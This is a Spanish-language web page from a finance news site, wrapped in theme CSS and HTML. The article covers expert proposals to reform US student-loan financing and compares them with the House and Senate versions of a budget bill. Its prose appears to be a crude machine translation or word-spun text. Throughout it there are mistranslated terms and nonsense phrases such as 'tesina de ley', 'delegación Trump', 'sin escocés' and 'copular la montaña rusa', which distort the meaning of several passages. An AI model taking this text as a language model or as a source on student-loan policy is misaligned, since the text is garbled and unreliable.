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<style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:table}@media (max-width:767px){.tdi_17,.tdi_17 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:none}@media (min-width:768px){.tdi_17{margin-left:-0px;margin-right:-0px}.tdi_17 .tdc-row-video-background-error,.tdi_17>.vc_column,.tdi_17>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}@media (max-width:767px){.tdi_17{padding-top:5px!important;padding-bottom:5px!important;position:relative}}</style>
<div class="tdi_16_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_16_rand_style{background-color:#00456e!important}}</style></div><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Thursday, September 17, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
<style>.tdb_module_header{width:100%;padding-bottom:0}.tdb_module_header .td-module-container{display:flex;flex-direction:column;position:relative}.tdb_module_header .td-module-container:before{content:'';position:absolute;bottom:0;left:0;width:100%;height:1px}.tdb_module_header .td-image-wrap{display:block;position:relative;padding-bottom:70%}.tdb_module_header .td-image-container{position:relative;width:100%;flex:0 0 auto}.tdb_module_header .td-module-thumb{margin-bottom:0}.tdb_module_header .td-module-meta-info{width:100%;margin-bottom:0;padding:7px 0 0 0;z-index:1;border:0 solid #eaeaea;min-height:0}.tdb_module_header .entry-title{margin:0;font-size:13px;font-weight:500;line-height:18px}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date,.tdb_module_header .td-module-comments{vertical-align:text-top}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date{top:3px}.tdb_module_header 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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>El gran y hermoso tesina de ley ya se abrió paso a través del Congreso a mediados de mayo cuando me senté en una sala de educación superior financiando líderes de pensamiento. Estos expertos, que comprenden académicos, representantes de ayuda financiera, formuladores de políticas y prestamistas, entre otros, presentaron ideas para favorecer la vida de la universidad de financiación de las familias, mejorar la ayuda federal de los estudiantes y responsabilizar a las escuelas.</p>
<p>Desafortunadamente, muy pocas de estas propuestas están en la fuero del Congreso que, los legisladores conservadores esperan, podrían promulgarse tan pronto como este verano. Estos son los argumentos de los expertos para su inclusión, como se expresa durante el Simposio anual de finanzas y préstamos de educación educativa en Alejandría, VA.</p>
<h2>Para ayudar a las familias a remunerar la universidad y remunerar préstamos</h2>
<h3 id="one">1. Triple la banda Pell</h3>
<p>El hábil en préstamos estudiantiles reconocidos a nivel doméstico, Mark Kantrowitz, dice que ha estado pidiendo el <u>Pell Grant</u> -$ 7,395 para el año escolar 2025-2026-&#8220;se triplicará por más de una plazo&#8221;. Transmitido donde estamos hoy, dice, tiene sentido renovar esa llamamiento.</p>
<p>&#8220;Un estudiante de bajos ingresos crece en un vecindario de bajos ingresos&#8221;, explica Kantrowitz. &#8220;Posteriormente de graduarse, regresan a ese vecindario. No obtienen trabajos tan adecuadamente remunerados y son menos capaces de remunerar su deuda de préstamos estudiantiles. Mientras que si les dio ese efectivo como una subvención, tendrá menos problemas con los incumplimientos&#8221;.</p>
<p>Reemplazar préstamos federales, que podrían ser <u>manido como depredador para aquellos que están menos equipados para pagarlos</u>con los fondos de Pell Grant para estos estudiantes, es una forma de darles una escalera socioeconómica para avanzar.</p>
<p>&#8220;Tenemos significativamente menos estudiantes de bajos ingresos con capacidad para la universidad que se inscriben en la universidad porque temen la deuda, les impide inscribirse&#8221;, dice Kantrowitz. &#8220;Y si lo elimináramos, tendríamos estudiantes más talentosos y de bajos ingresos que buscan una educación universitaria. Los ricos no tienen el monopolio de la inteligencia&#8221;.</p>
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<p>    ¿Qué hay en la gran y hermosa preparación?
    </p>
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<p>        La Cámara propuso requerir que los estudiantes asistan a la escuela al menos a medio tiempo para ser elegible para Pell, dejando a los estudiantes a tiempo parcial en el polvo. Ambas cámaras apoyan la expansión del entrada a programas académicos a corto plazo (conocidos como &#8220;Pell de la fuerza profesional&#8221;).</p></div>
</p></div>
<h3 id="two">2. Congele la matrícula y las tarifas mientras los estudiantes matriculan</h3>
<p>No todas las ideas son novedosas, solo tienen apoyo para una admisión más amplia. Esa es una descripción apropiada para las congelaciones de matrícula y tarifa, que parecía tener muchos fanáticos en Virginia.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/prestamo-de-pequenas-empresas-denegadas-que-hacer-a-continuacion" target="_self" rel="dofollow" class="uae550833ac233e95b9ba0c636ee90f8b"><!-- INLINE RELATED POSTS 1/3 //--><style> .uae550833ac233e95b9ba0c636ee90f8b { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .uae550833ac233e95b9ba0c636ee90f8b:active, .uae550833ac233e95b9ba0c636ee90f8b:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .uae550833ac233e95b9ba0c636ee90f8b { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .uae550833ac233e95b9ba0c636ee90f8b .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .uae550833ac233e95b9ba0c636ee90f8b .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .uae550833ac233e95b9ba0c636ee90f8b:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Préstamo de pequeñas empresas denegadas: qué hacer a continuación</span></div></a></div><p>La Universidad de Purdue es un ejemplo de una escuela que ha mantenido estos costos congelados desde 2013. La matrícula en el estado no se ha movido de $ 9,992 en una docena de primaveras. Y parece estar funcionando: Purdue afirma que 6 de cada 10 de sus estudiantes se gradúan sin deuda, en comparación con el promedio doméstico de 4 de cada 10.</p>
<h3 id="three">3. Tasas de interés más bajas para acelerar el reembolso</h3>
<p>Este impulso, del ejecutante de préstamos estudiantiles Henry B. Howard, se hizo eco <u>Estatuto de préstamos estudiantiles recientemente introducidos</u>.</p>
<blockquote class="pull-quote PullQuote PullQuote--very-long">
<p class="pull-quote__copy PullQuote-copy font-bold">Me gustaría establecer algún tipo de software de incentivos en el que no tenga que remunerar ningún interés si paga su préstamo en los próximos 12 meses, o solo tiene que remunerar un interés del uno por ciento si lo paga en los próximos 24 meses.</p>
<p>            <cite class="pull-quote__cite PullQuote-cite">&#8211; Henry B. Howard</cite>
        </p></blockquote>
<p>Las ramificaciones son claras: motivar a los prestatarios a <u>remunerar sus préstamos más rápido</u>crear un beneficio mutuo para el prestatario (que puede evitar la deuda educativa de larga data que dificulta sus otros objetivos financieros) y el gobierno federal (que puede reabastecer sus fondos de ayuda financiera para apoyar a más estudiantes).</p>
<h3 id="four">4. Expanda PSLF para cubrir el servicio comunitario, por hora</h3>
<p><u>Perdón de préstamos de servicio divulgado</u>que ofrece eliminar los saldos restantes para la calificación de empleados sin fines de ganancia y gubernamentales posteriormente de una plazo de pagos, ha sido un <u>objetivo de los primeros días de la delegación Trump</u>. Pero un ex funcionario de la delegación de Trump, A. Wayne Johnson, quien se desempeñó como Director de Operaciones de Ayuda Federal de Estudiantes (FSA) de 2017 a 2019, quiere que PSLF sea <em>más </em>accesible, no menos. </p>
<p>&#8220;Creo que debería estar más directamente vinculado a, si me da 10 horas de servicio comunitario o divulgado, cancelaré $ 1,000 de deuda&#8221;, dijo Johnson durante un panel de simposio. &#8220;Y asimismo iré un paso más allá (para sostener) que si tu hermana, hermano, mama o tía quieren trabajar con algunas de esas horas para ti, eso asimismo contará&#8221;.</p>
<blockquote class="pull-quote PullQuote PullQuote--very-long">
<p class="pull-quote__copy PullQuote-copy font-bold">Soy muy conservador, pero &#8230; vuelvo a mi (pregunta), ¿cómo lo trabajas en 10 primaveras? Para brindarle 10 horas de servicio divulgado comunitario, interpretar libros para niños, tomar comestibles de viejas ancianas, juntar basura en la carretera. No me importa, pero lo resuelve y lo hagas lo más rápido que puedas, y dejemos que cerremos ese capítulo y sigamos delante.</p>
<p>            <cite class="pull-quote__cite PullQuote-cite">&#8211; A. Wayne Johnson</cite>
        </p></blockquote>
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<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/cuanto-cuesta-un-bote-comprar-y-poseer" target="_self" rel="dofollow" class="u97d8fed94b7e40337f520906a1192d8d"><!-- INLINE RELATED POSTS 2/3 //--><style> .u97d8fed94b7e40337f520906a1192d8d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u97d8fed94b7e40337f520906a1192d8d:active, .u97d8fed94b7e40337f520906a1192d8d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u97d8fed94b7e40337f520906a1192d8d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u97d8fed94b7e40337f520906a1192d8d .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u97d8fed94b7e40337f520906a1192d8d .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u97d8fed94b7e40337f520906a1192d8d:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">¿Cuánto cuesta un bote comprar y poseer?</span></div></a></div><p>    ¿Qué hay en la gran y hermosa preparación?
    </p>
<p>    <!-- htmlmin:ignore --></p>
<div class="Callout-content text-gray-900 text-left wysiwyg m-0">
<p>        Las iteraciones de la Cámara de Representantes y el Senado crearían un nuevo plan de reembolso basado en ingresos consolidados que podría estar de moda para el alivio de PSLF. Por otra parte, ambas cámaras están de acuerdo en que las residencias médicas y dentales ya no calificarían para PSLF. Sin bloqueo, nadie parece tener la intención de incluir disposiciones que imiten la Ley de Deuda Estudiantil (Héroes) recientemente introducido para exceder a los respondedores de emergencia a exceder a la deuda estudiantil (héroes) de 2025, lo que ampliaría la elegibilidad de PSLF para ofrecer a EMT y bomberos voluntarios.</p></div>
</p></div>
<h2 data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Loans, Student Loans" data-position="h2_second_placement" data-name="h2_second_placement" data-text="How to fix the student loan crisis" data-outcome="">Para mejorar la ayuda federal para estudiantes</h2>
<h3 id="five">5. Instale un zar de préstamo estudiantil en Washington, DC</h3>
<p>Aunque dijo que no querría el trabajo, y simpatizaría con quien lo obtuviera, Johnson asimismo abogó por crear un nuevo puesto de liderazgo del gobierno.</p>
<p>Lo más cercano que tenemos hoy a tal zar sería el <u>Subsecretario del unidad de educación</u>el principal funcionario de la delegación en educación superior. Pero esta persona no se centra exclusivamente en la deuda educativa.</p>
<p>&#8220;Así como tenemos a Tom Homan corriendo (un aspecto de) Seguridad Doméstico&#8221; como un llamado zar fronterizo, Johnson dice: &#8220;Necesitamos una sola persona que tenga poder y una voz que pueda escuchar a todos, pero básicamente &#8230; tomémoslo, llamémoslo el enfoque directo para&#8221; esto es lo que vamos a hacer y cómo vamos a hacerlo &#8220;.</p>
<blockquote class="pull-quote PullQuote PullQuote--very-long">
<p class="pull-quote__copy PullQuote-copy font-bold">Demasiadas ideas flotan, demasiados pensamientos. Muchas cosas se complican, pero en ingenuidad nunca hay esa persona que se pare frente a la cámara, frente a la nación y dice: &#8220;Esto es lo que estamos haciendo y cómo lo haremos y por qué vamos a hacerlo&#8221;.</p>
<p>            <cite class="pull-quote__cite PullQuote-cite">&#8211; Johnson</cite>
        </p></blockquote>
<h2>Cambiar la responsabilidad a colegios y universidades</h2>
<h3 id="six">6. Limite la financiación federal hasta que un estudiante demuestre que es poco probable que abandonen</h3>
<p>Una opinión popular expresada por muchos expertos: si un estudiante no puede remunerar su deuda, sufre. Si el gobierno federal no es pagado, asimismo lo hacen. Pero la universidad que tomó el financiamiento se quita aparentemente sin escocés.</p>
<p>Este sentimiento asimismo se ha comisionado de Washington, DC, donde <u>La secretaria de educación, Linda McMahon, ha culpado a colegios y universidades</u> Para la contemporáneo crisis de incumplimiento del préstamo estudiantil.</p>
<p>Una forma de permanecer a las escuelas enfocadas en la deuda de sus estudiantes, y evitar los préstamos más probables a default, es poner en su oficio las barandillas.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/salarios-de-posgrado-universitario-proyecciones-2025" target="_self" rel="dofollow" class="u275ca39bee84f6e975139d0889c29414"><!-- INLINE RELATED POSTS 3/3 //--><style> .u275ca39bee84f6e975139d0889c29414 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u275ca39bee84f6e975139d0889c29414:active, .u275ca39bee84f6e975139d0889c29414:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u275ca39bee84f6e975139d0889c29414 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u275ca39bee84f6e975139d0889c29414 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u275ca39bee84f6e975139d0889c29414 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u275ca39bee84f6e975139d0889c29414:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Salarios de posgrado universitario: proyecciones 2025</span></div></a></div><p>&#8220;Inscribir al (estudiante), están preparados para aceptar préstamos, pero tienen que exceder con éxito ese primer semestre o (la escuela no se le pagará&#8221;, dice Johnson, el ex FSA CCO. &#8220;Eso causaría un enfoque increíble en las universidades, una, solo admite personas que positivamente pasarán el primer semestre. Y (dos), proporcionando instrucción correctiva para mantenerlos en la escuela&#8221;.</p>
<p>Otra forma de financiar el primer semestre sería fiarse en <u>Préstamos para padres más</u>que tienen entre las tasas de incumplimiento más bajas en la cartera de préstamos federales.</p>
<p>&#8220;Entonces, si quieres ir a la universidad, y tienes una mamá o papá, que mamá o papá tienen que obtener un préstamo positivo para ti en oficio de obtener un préstamo estudiantil&#8221;, dice Howard. &#8220;Y adicionalmente, el préstamo positivo no puede ser desembolsado para la escuela hasta que el estudiante complete con éxito el primer semestre con un promedio de calificaciones y se inscribe para el segundo semestre&#8221;.</p>
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<p>    ¿Qué hay en la gran y hermosa preparación?
    </p>
<p>    <!-- htmlmin:ignore --></p>
<p>        Esta es una dominio donde las versiones de la Cámara y el Senado divergen. La antigua Cámara prescribe el intercambio de riesgos, incluidas sanciones financieras severas para las escuelas con un gran porcentaje de estudiantes que no pagan su deuda educativa. Mientras tanto, el Senado simplemente reduciría los fondos a las escuelas que no aproban una prueba que mida las ganancias de posgrado de sus estudiantes.</p>
</p></div>
<h2 id="advice">Nuestro consejo para ti</h2>
<p>Tómalo de un <u>maestro de préstamos estudiantiles certificado</u>: Es realizable copular la montaña rusa de promesas, roto y mantenido, de funcionarios electos y fuero irresoluto. Si adecuadamente sintonizar el debate de reembolso del préstamo estudiantil puede ayudarlo a maniobrar su propia deuda educativa, no permita que lo abrume. Es probable que lo que se está discutiendo en DC evolucione con el tiempo. Entonces, a menos que estés motivado para <u>Llame a su congresista</u> o <u>senador</u>podría estar afectado por esperar la firma del presidente. Entonces sabrás que es la ley de la tierra.</p>
